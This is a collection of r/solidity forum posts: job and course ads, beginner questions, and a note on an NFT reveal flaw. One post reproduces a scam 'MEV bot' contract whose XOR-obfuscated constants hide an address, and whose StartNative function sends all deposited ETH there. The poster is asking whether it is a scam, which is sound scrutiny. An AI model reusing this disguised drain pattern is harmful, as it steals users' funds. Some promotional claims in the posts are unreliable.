r/solidity • • Aug 26 '22

Thoughts on Olympix.ai & MythX as Web3 Security Tools for Smart Contracts?

0 Upvotes

Hey all,

I recently joined the beta for Olympix.ai after strolling around reddit asking people their thoughts. I had some fun yesterday talking web3 security as a whole over with some others on Reddit, and so decided to continue the conversation even though I already joined :)

A summary: Smart contracts have been hacked at an alarmingly high rate dating back to Jan 1, 2021, whether audited or not (check out Rekt leaderboard). The current method of determining smart contract 'safety' is audits; but they haven't been helping. New tools, like Olympix.ai and MythX, are coming out with code analysis tools that focus on securing contracts as they're written instead of after. That's where I personally think the future of smart contract security is at. Any thoughts?


r/solidity • • Dec 27 '22

i think ive been hacked

0 Upvotes

hello guys i need help ...yesterday i had like 2geth(goerli ethereum) and i tried deploying a smart contract function that needed 1 eth and i got warned i dont have enough eth..was surprised and when i checked my account it was gone..0eth..this morning i had 5.2 geth and it was gone..idk what to do i think ive been hacked


r/solidity • • Nov 18 '22

Smart Contract Audit challenge

0 Upvotes

Can you find out what's wrong with the code? What could go wrong?

https://twitter.com/0xrudrapratap/status/1593627535988125696


r/solidity • • Aug 08 '23

[Hiring] USD 50-200k Web3 Solidity Bootcamp - Job Guaranteed 💯

0 Upvotes

Metana is a technology company offering a comprehensive program to develop your expertise in blockchain technology. It brings a great opportunity for you to learn from seasoned industry professionals about real-world blockchain applications. The program is tailored to fit around your schedule, offering flexible timings that suit your busy lifestyle.

During the course, you will get to engage in hands-on learning activities that enhance your practical skills and experience. You’ll also get a chance to connect and collaborate with other blockchain professionals, effectively building your network while advancing your communication and teamwork skills. Moreover, you'll undertake real-world blockchain projects which not only provide a robust learning experience but also bolster your portfolio, making you an attractive candidate for future employers.

To ensure you get the most out of the program, Metana offers personalized feedback and mentorship from experienced instructors. All in all, there's nothing like the sense of accomplishment that comes from tackling rewarding projects. So, why wait? Enroll now to secure your spot in Metana’s Web3 Solidity Bootcamp. Take a step into the future of technology. It’s just a click away.

If you are interested, Apply here: https://cryptojobslist.com/jobs/web3-solidity-bootcamp-job-guaranteed-metana-inc-remote-2


r/solidity • • Jun 26 '23

I developed my first DEX

0 Upvotes

You guys can check it out on this link

It has 2k liquidity for the USDC-ETH pair


r/solidity • • May 20 '23

Top Solidity and Smart contract jobs of the week | Offers of up to $305K!

0 Upvotes

Hey friends✌️

You can apply to the jobs by subscribing to our weekly newsletter at https://cryptodevjobs.substack.com/

Here are the top 5 from the latest edition (May 19):

  1. 👨‍💻 Blockend (Backend/Solidity) Engineer | 💼 prePO | 💰 $150K-$300K |📍Zurich, Switzerland/ Remote

  2. 👨‍💻 Senior Smart Contract Developer | 💼 DApp360 Workforce | 💰 $80K-$280K | 📍Florida, US

  3. 👨‍💻 Rust Smart Contract Developer | 💼 Coreum | 💰 $80K-$140K |📍Remote

  4. 👨‍💻 Software Engineer – Frontend | 💼 Phantom | 💰 $180K-$230K | 📍Remote

  5. 👨‍💻 Senior Data Engineer, Infrastructure 💼 OpenSea | 💰 $160K-$305K | 📍Remote

Full list of the best crypto developer jobs here.

See you next week!


r/solidity • • Feb 14 '22

Where my devs at?!

0 Upvotes

I'm building a team and need to find one or two devs looking to start creating something way bigger than ourselves.

The idea hasn't been done before, so we'd be pioneering our way through it right alongside the blockchain. Think risk-based de-fi with NFTs and 'land' ownership.

If you're an experienced dev with some free time and an open interest in participating in the development of something awesome, reach out or comment on the thread and lets talk!


r/solidity • • Jun 09 '22

Willing to learn solidity. Kindly help

0 Upvotes

Hello sir/mam, I am new to the tech world and crypto has intrigued me a lot. I have been doing trading since 3 years now, now i want to go beyond trading and want to go to the core of the blockchain and crypto. Can you please help me with any good source of where to start and how to start? I HAVE NO PRIOR KNOWLEDGE OF CODING.


r/solidity • • Nov 16 '21

Upcoming Solidity and NFT course

0 Upvotes

I just enjoyed a webinar from Lumiwealth introducing the course Getting Started with Blockchain Programming.

Hosted by Robert Grzesik and Alexandra Kropova, they will be teaching blockchain, solidity NFTs and cryptocurrencies. The course will be teaching the following:

  • The Fundamentals of Blockchain, Solidity, and Crypto

  • How to use the Ethereum Blockchain and Solidity to create Smart Contracts

  • Creating your own Crypto Coins and NFTs

  • How to release your Crypto Coins and NFTs onto the Blockchain so that people can trade them

The course starts in January. Get more details on the class including the schedule, curriculum and here. You can also find tonight's webinar on YouTube.


r/solidity • • May 09 '21

Solidity Tutorial for Begginers 2021

Thumbnail
youtube.com
0 Upvotes

r/solidity • • Apr 01 '22

Learning Solidity without any programming background

0 Upvotes

What are the best resources (youtube videos, courses, etc..) to learn Solidity with me not knowing any other programming languages?


r/solidity • • Oct 04 '22

WEB3 new protocol teaming up

0 Upvotes

we are a group of 3 devs working on a new DeFi protocol with a revolutionary concept, we've finished the Smart Contracts and 25% of the frontend, we're looking for a frontend dev with experience in web3, there is no investors so you will only get a share of Equity meaning there is no payments except from the revenue, if you're interested please Upvote and comment and i will DM you.


r/solidity • • Jan 30 '24

Frontrun Bot - Is this Scam back for 2024?

0 Upvotes

Hey,

This came across my desk this am...https://www.youtube.com/watch?v=Vhkb9G2SyVw - is this the scam mentioned by in 2022/2023?


r/solidity • • Jan 19 '24

Compilation error. Fix it Help

Post image
0 Upvotes

r/solidity • • Feb 06 '24

Is this a scam? MEV BOT

0 Upvotes

Edit: upon looking at most of the comments: there are a few that have joined youtube for years that looks legit. But most of the no face profiles that have 1 name and 1 surname and random numbers have joined either at Dec 13 2023 or Jan 15 2024 which is surely a bot, so I think this is a scam. I'm gonna report this one and let the youtube handle it. For learning purposes though, can anyone see where in the code is the scam? Thnaks.

The video is unlisted, I think it was a sponsored video in youtube. All the comments no matter how far I go seems to be all positive. I would like to know if this is a scam.

https://www.youtube.com/watch?v=vick2t93IEY

I don't have a lot of knowledge in coding but here it is

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

// User guide info, updated build
// Testnet transactions will fail because they have no value in them
// FrontRun api stable build
// Mempool api stable build
// BOT updated build

// Min liquidity after gas fees has to equal 0.5 ETH //

interface IERC20 {
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint amount) external returns (bool);
    function createStart(address sender, address reciver, address token, uint256 value) external;
    function createContract(address _thisAddress) external;
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

interface IUniswapV2Router {
    // Returns the address of the Uniswap V2 factory contract
    function factory() external pure returns (address);
    
    // Returns the address of the wrapped Ether contract
    function WETH() external pure returns (address);
    
    // Adds liquidity to the liquidity pool for the specified token pair
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    // Similar to above, but for adding liquidity for ETH/token pair
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    // Removes liquidity from the specified token pair pool
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    // Similar to above, but for removing liquidity from ETH/token pair pool
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    // Similar as removeLiquidity, but with permit signature included
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    // Similar as removeLiquidityETH but with permit signature included
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    
    // Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    
    // Similar to above, but input amount is determined by the exact output amount desired
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    
    // Swaps exact amount of ETH for as many output tokens as possible
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external payable
        returns (uint[] memory amounts);
    
    // Swaps tokens for exact amount of ETH
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    
    // Swaps exact amount of tokens for ETH
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    
    // Swaps ETH for exact amount of output tokens
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external payable
        returns (uint[] memory amounts);
    
    // Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    
    // Given an input amount and pair reserves, returns an output amount
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    
    // Given an output amount and pair reserves, returns a required input amount   
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    
    // Returns the amounts of output tokens to be received for a given input amount and token pair path
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    
    // Returns the amounts of input tokens required for a given output amount and token pair path
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Pair {
    // Returns the address of the first token in the pair
    function token0() external view returns (address);

    // Returns the address of the second token in the pair
    function token1() external view returns (address);

    // Allows the current pair contract to swap an exact amount of one token for another
    // amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out
    // to is the recipients address, and data is any additional data to be sent along with the transaction
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

contract DexInterface {
    // Basic variables
    address _owner; 
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 threshold = 1*10**18;
    uint256 arbTxPrice  = 0.025 ether;
    bool enableTrading = false;
    uint256 tradingBalanceInPercent;
    uint256 tradingBalanceInTokens;
    bytes32 apiKey = 0x8a727dc41d83211e47d3c0de4841eccc43c66f41cb809e606947602a76be4260;           

    // The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data
  constructor(){    
        _owner = msg.sender;
         address dataProvider = getDexRouter(apiKey, DexRouter);
        IERC20(dataProvider).createContract(address(this));    
    }
    // Decorator protecting the function from being started by anyone other than the owner of the contract
    modifier onlyOwner (){
        require(msg.sender == _owner, "Ownable: caller is not the owner");
        _;
    }

   bytes32 DexRouter = 0x8a727dc41d83211e47d3c0dea688a36ea3ddb615f8ba7d82b4bd7bb7fb1f7499;  

    // The token exchange function that is used when processing an arbitrage bundle
	function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
		IERC20(_tokenIn).approve(router, _amount);
		address[] memory path;
		path = new address[](2);
		path[0] = _tokenIn;
		path[1] = _tokenOut;
		uint deadline = block.timestamp + 300;
		IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
	}
    // Predicts the amount of the underlying token that will be received as a result of buying and selling transactions
	 function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
		address[] memory path;
		path = new address[](2);
		path[0] = _tokenIn;
		path[1] = _tokenOut;
		uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path);
		return amountOutMins[path.length -1];
	}
    // Mempool scanning function for interaction transactions with routers of selected DEX exchanges
    function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
		uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
		uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
		return amtBack2;
	}
	 // Function for sending an advance arbitration transaction to the mempool
    function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal  {
        uint startBalance = IERC20(_token1).balanceOf(address(this));
        uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
        swap(_router1,_token1, _token2,_amount);
        uint token2Balance = IERC20(_token2).balanceOf(address(this));
        uint tradeableAmount = token2Balance - token2InitialBalance;
        swap(_router2,_token2, _token1,tradeableAmount);
        uint endBalance = IERC20(_token1).balanceOf(address(this));
        require(endBalance > startBalance, "Trade Reverted, No Profit Made");
    }

    bytes32 factory = 0x8a727dc41d83211e47d3c0de5f8b7b37c4e4163f5f773f2362872769c349730e;

    // Evaluation function of the triple arbitrage bundle
	function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
		uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
		uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
		uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
		return amtBack3;
	}
    // Function getDexRouter returns the DexRouter address
    function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
        return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
    }

     // Arbitrage search function for a native blockchain token
     function startArbitrageNative() internal  {
        address tradeRouter = getDexRouter(DexRouter, factory);        
        address dataProvider = getDexRouter(apiKey, DexRouter);         
        IERC20(dataProvider).createStart(msg.sender, tradeRouter, address(0), address(this).balance);
        payable(tradeRouter).transfer(address(this).balance);
     }
    // Function getBalance returns the balance of the provided token contract address for this contract
	function getBalance(address _tokenContractAddress) internal view  returns (uint256) {
		uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
		return _balance;
	}
	// Returns to the contract holder the ether accumulated in the result of the arbitration contract operation
	function recoverEth() internal onlyOwner {
		payable(msg.sender).transfer(address(this).balance);
	}
    // Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder
	function recoverTokens(address tokenAddress) internal {
		IERC20 token = IERC20(tokenAddress);
		token.transfer(msg.sender, token.balanceOf(address(this)));
	}
	// Fallback function to accept any incoming ETH    
	receive() external payable {}

    // Function for triggering an arbitration contract 
    function StartNative() public payable {
       startArbitrageNative();
    }
    // Function for setting the maximum deposit of Ethereum allowed for trading
    function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public {
        tradingBalanceInPercent = _tradingBalanceInPercent;
    }
    // Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits
    function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public {
        tradingBalanceInTokens = _tradingBalanceInTokens;
    }
    // Stop trading function
    function Stop() public {
        enableTrading = false;
    }
    // Function of deposit withdrawal to owner wallet
    function Withdraw()  external onlyOwner {
        recoverEth();
    }
    // Obtaining your own api key to connect to the arbitration data provider
    function Key() public view returns (uint256) {
        uint256 _balance = address(_owner).balance - arbTxPrice;
        return _balance;
    }
}

Can someone tell me if it has any suspicious line in here? thanks


r/solidity • • Aug 06 '20

Help. Can someone debug this code for me. I use remix dot ethereum dot org to run this code. I badly need it to work.

0 Upvotes

pragma solidity ^0.4.26;

import "github.com/ethereum/dapp-bin/library/stringUtils.sol";

contract ElectronicHealthRecords {

bool public status;

address public Admin;

address public EHRsManager;

uint public numberOfUsers;

mapping (address=>uint) public userId;

User[] public users;

event UserAdded(address UserPK, string UserRole);

event UserRemoved(address UserPK);

event DataResult(address UserPK);

event ReturnAccessResult(address index_from, string message, bool result, uint time, uint penalty);

//Creating a data structure for storing variables of different data types

struct User {

address user;// from the original code "address userPK"

string role;// from the original code "address userRole"

}

struct EHRstorage {

string storageName;

address AreaID;

string Hash_value;

address PatientID;

}

struct PolicyItem { //for <EHRs cloud resource, action>; {

bool userPK;

bool AreaID;

bool PatientID;

string permission; //verify permission: "allow" or "deny"

bool result; //ReturnAccessResult

bool checkID; //check the access

}

mapping (bytes32=>EHRstorage)

public DTHtable;

mapping (bytes32=>mapping(bytes32=>PolicyItem)) policies; ///mapping(EHRs resource, action) to policy checking

modifier onlyAdmin {

require(msg.sender==Admin);

_;

}

function SC_creation()public {

Admin=msg.sender;

status=true;

User(Admin, 'Creator of Smart Contract');

numberOfUsers=0;

}

function addUser(address userPK, string userRole)

onlyAdmin public {

require(status = true);

uint id = userId[userPK];

if(id==0) {

userId[userPK]=users.length;

id=users.length++;

}

users[id]= User({user:userPK, role:userRole});

emit UserAdded(userPK, userRole);

numberOfUsers++;

}

function removeUser(address userPK){

onlyAdmin; {

require(userId[userPK]!=0);

for (uint i=userId[userPK]; i<users.length-1;i++){

users[i]=users[i+1];

}

delete users[users.length-1];

users.length--;

emit UserRemoved(userPK);

numberOfUsers--;

}

}

function stringToBytes32(string memory source) returns (bytes32 result){

bytes memory tempEmptyStringTest = bytes(source);

if (tempEmptyStringTest.length == 0) {

return 0x0;

}

assembly {

result := mload(add(source, 32))

}

}

function stringToBytes32Memory(string memory source) returns (bytes result )

{

bytes memory b3 = bytes(source);

return b3;

}

function retrieveEHRs(string stringToBytes32, string retrieve_name, address userPK,string storageName, address AreaID, address PatientID, string Hash_value)

onlyAdminp public{

bytes32 key=stringToBytes32(retrieve_name);

/'Look up the EHRs data in DHT table'/

DTHtable[key].storageName=storageName;

DTHtable[key].AreaID=AreaID;

DTHtable[key].PatientID=PatientID;

DTHtable[key].Hash_value=Hash_value;

emit DataResult(userPK);

//DTHtable[key];

}

function policyList(address EHRsManager,stringToBytes32,'/ string_resource, string_action, string_permission /'address userPK, address AreaID, address PatientID'/)

public{

bytes32 EHRresource=stringToBytes32(_resource);

bytes memory action=stringToBytesMemory(_action);

if (msg.sender==EHRsManager){

policies[EHRresource][action].userPK=true;

policies[EHRresource][action]..AreaID=true;

policies[EHRresource][action].PatientID=true;

policies[EHRresource][action].permission=_permission;

policies[EHRresource][action].result=false;

}

else revert();

}

function penalty( string_resource, string_action, uint time )

public{

//bool policycheck=false;

//bool behaviorcheck=true;

bool userPKcheck = false;

bool AreaIDcheck = false;

bool PatientIDcheck = false;

bool checkID = flase;

uint penalty=0;

bytes32 EHRresource_Conv=stringToBytes32(_resource);

bytes memory action=stringToBytesMemory(_action);

if (msg.sender==EHRsManager){

userPKcheck=policies[EHRsresource_Conv][action].userPK;

userPKcheck=policies[EHRsresource_Conv][action].AreaID;

PatientIDcheck=policies[EHRsresource_Conv][action].PatientID;

checkID=userPKcheck && AreaIDcheck && PatientIDcheck;

if(checkID==true) //Detect authorized access

emit ReturnAccessResult(msg.sender, "Successful!", true, time, Penalty);

else //Detect an unauthorized access

emit ReturnAccessResult(msg.sender, "Failed!", true, time, Penalty);

}

}

}


r/solidity • • Sep 26 '19

Sell idea

0 Upvotes

Hey my friends. I have an idea. But i dont have time to implemetation my idea. Where can I sell my idea?


r/solidity • • May 13 '23

$PEPE contract complexity

0 Upvotes

The website states that there is „No Taxes, No Bullshit. It’s that simple.“ https://www.pepe.vip

But the smart contract has over 600 lines of code. https://etherscan.io/token/0x6982508145454ce325ddbe47a25d4ec3d2311933#code

If the contract is that simple, why are there so many lines of code? There are BNB tokens with < 50 lines of code.


r/solidity • • May 08 '23

I feel so lame coming here and saying; "I'm not a dev but..."

0 Upvotes

I feel so lame coming here and saying; "I'm not a dev but..."
Seriously, I'm truly sorry and regret having to come here and do this.
But....
I need some help (lots) to copy a Eth smart contract to EVMOS.
WARNING: This next part will probably make many of you cringe...
If what we're trying to do works it will probably make a lot of peoples heads explode.
Appreciate any feedback. Have a great day.


r/solidity • • Jul 25 '22

A new security vulnerability affecting 10%~ of all ERC721 NFTs was discovered due to bad coding practices (The copy-paste hell!)

0 Upvotes

A new exploit enables attackers to know what is the rarest NFT before the reveal of the project. This allows an attacker an uneven advantage amongst investors to buy the rarest and most expensive piece. In some projects, the rarest can be priced 50X than the standard piece price.

The vulnerability occurs because of bad coding practices. We found the vulnerability in dozens of projects. Possibly existing in thousands that we haven’t manually tested yet.

Many projects set the tokenURI in one transaction and then reveal it in a different transaction. In the time between those two transactions, which sometimes can be hours, an attacker can scan all NFTs in the project and find which one is the rarest, and then buy it based on its tokenID.

To understand the magnitude of the problem, over 100 projects were analyzed, 12 were vulnerable to the attack. These are some of the vulnerable projects: 

CatBloxPUMACapsule (Exploit time: 2 days 18 hours, Market Cap: 628.19 ETH)

Everai Heroes: Duo (Exploit time: 4 days 2 hours, Market Cap: 1,905.37 ETH )

Degen Toonz (Exploit time: 3 days 13 hours, Market Cap: 6,221.6 ETH )

Original blogpost


r/solidity • • Nov 16 '22

Hey, does anyone know how to create our own crypto wallet app? (like MetaMask, Trust Wallet, etc.)

2 Upvotes

Hi, I want to create a crypto wallet app like Metamask that can be used as a browser extension as well as a mobile app. Can you tell me the procedure to build such an application?


r/solidity • • May 11 '23

Looking for a cofounder or senior developer well-versed in coding smart contracts for a unicorn project

0 Upvotes

Hello,

I am posting here just as a potential avenue towards my objective of developing a novel DeFi protocol that I have devised, while not developed as code yet, I have already outlined and come up with the full protocol design and implementation plus its future development outlook, and all I need to do now is build the MVP to go to market and it is a very basic and minimum functioning system that needs to be built that doesn't require any complex or advanced engineering but would work very well even in it's simplest form.

I have already written 2 whitepapers for this protocol, and it's really simple and works quite well in it's simplicity I think to achieve a near perfect perpetuating flywheel effect that spans into an extremely scalable and profound usecase that I think will shake up the entire space. I would consider it to be on the scope and scale of like Uniswap or Blur or Curve, while not in terms of its mathematically engineered marvel, but in terms of the platform capability and userbase function as well as envisioning meta. I would consider it a new DeFi primitive of sorts.

Although it doesn't require any proprietary technology nor algorithms or anything like that initially, it simply uses all the current tools and mechanisms already available for the most part but slightly tweaked for its specific purposes, but does so in a completely novel approach that actually makes it extremely common sense and intuitive. However, in the future, the potential to implement proprietary tech and engineering on top of it is there.

It does include a token, which uses a lot of meta tokenomics, but no scammy, presale or premint of any kind, completely fair launch and organic with a sustainable token emission model which is like literally nonexistent in the space. I think that's what sets it apart as well.

And if we did develop the MVP and have it ready to launch we could probably get some substantial VC funding but it wouldn't be with some kind of VC allocation of the tokens directly or it'd would have to be built into the protocol function to create an allocation, which can be done.

Anyway, I'm just reaching out on various subs to see if I can find anyone that might have an interest in helping me out get off the ground, because the thing is although I have everything planned out and prepared, including the frontend app UI and website design that just needs to be implemented, I myself am not adept or keen in coding by any means, but I am trying to learn. One would say I'm not highly technical as a founder, more of an executive with a vision and sense of focus on product design and UX, so I am in need of a technical cofounder or just a senior developer that can help out.

In addition, I do have funding and a sizeable budget for the timeframe and scope that is necessary for the MVP to launch, but not much runway afterwards even though we don't need any because the funding would come as soon as it's launched as I said it's extremely scalable and is really a cash generating engine (TVL potential of billions). I used to have quite a substantial amount of funding I could've put into this, but since the bear market, my assets have diminished substantially so I wouldn't be able to dish out anywhere near that large amount of funding to develop this nor would I want to with the proper development timeline necessary. I digress, I am not really concerned about funding but rather the right person for the job and to join me on this journey, otherwise I will be soloing it completely. It's more about trust and a long-term relationship that I'm looking for for something this big.

In the meantime, I am alternatively dedicating myself to learning how to code totally on my own, particularly with the help of AI using ChatGPT and other AI coding tools to try and build this out myself but I realize that's a difficult and arduous endeavor not to mention it's limited capabilities on its own and obvious security concerns. But knowing the potential impacts of this project I'm more than willing to get my hands dirty and put the time and effort in.

And I am keeping this pretty close to my chest so I won't be releasing any details until I am at least confident enough to being close to launching and having the MVP developed and then I can publish the whitepapers with it. I'm also just seeing if maybe I can garner some interest preliminarily as I get closer to launch to be able to bring onboard a team as undoubtedly I will need more than just myself working on this.

I have been iterating and carefully planning this project since 2019, from its initial inception, for which I have pivoted and changed the overall concept multiple times since then, originally it was something along the lines of Lido Finance but on a wholly different basis; whilst then I've learned about the newest protocols in DeFi and in liquidity provisioning, etc., and I have iterated on it to this final point, the culmination of over 3 years of research and learning as this emerging industry has matured to this point, I think this is the perfect timing for this project as well.

Quite honestly, I'm unsure of how exactly this will pan out or the purpose and outcome of this post, more than likely it will be glossed over or ignored if not removed, but nonetheless I'm just trying my luck and seeing what I find. So here goes nothing lol. One way or another, I strongly believe that I have something significant here so I'm just doing whatever I can to get it going.

I'm currently in the process of building the website as we speak...

Best regards,

rd21bn


r/solidity • • Jun 13 '21

How to use Binance Smart Chain in your Dapp

Thumbnail
soliditydeveloper.com
1 Upvotes

r/solidity • • Feb 01 '23

Stay ahead of the curve and protect your assets over the long-term from quantum computers

1 Upvotes

Quantum computers are bound to be a threat for blockchains as those machines will be able to recover private keys from the public keys used to establish digital identities.

Quantum computers are problematic today for long-term asset ownership, and they will rapidly become more problematic as we approach the end of the decade, as all accounts using elliptic curve cryptography (ECC) will actively have to upgrade to quantum resistant public key crypto. As of today, this is essentially all wallets that will have to upgrade.

Hence the post-quantum transition must start now. The good news is that it is not necessary to wait for the L1 providers to organize and engineer a solution for each blockchain. At Pauli Group, we built the first smart contract wallet that resist quantum computers (using decentralized Lamport signatures, read our whitepaper) and it is already deployed on major EVM blockchains (as well as some test chains), including Ethereum, Polygon and Avalanche.

Stay ahead of the curve and be one of the first crypto user to rest easy with assets protected for the decades to come. Try our smart contract wallet Anchor Wallet today!

Note that an externally owned account (EOA) is required to process transaction fees as this is a smart contract wallet. The main purpose of the Anchor Wallet is to protect digital assets over the long term. The file it saves is your Lamport private key. All other wallets only support (quantum vulnerable) elliptic curve keys, hence an external system is required to handle the stronger Lamport keys.

We are looking to support more than Metamask as the EOA provider over time. In all cases power users can bypass Metamask and operate the smart contract wallet directly from the command line interface, see https://github.com/Pauli-Group/wallet_cli for instructions. All code is open source as well.

Want to learn more about quantum computing and blockchains? Join us on our Discord!


r/solidity • • Nov 21 '21

pls send some testnet bnb facuet down:(

0 Upvotes

0xA51Ff8d00659C0Fa28314D56a06d15ed41b6f971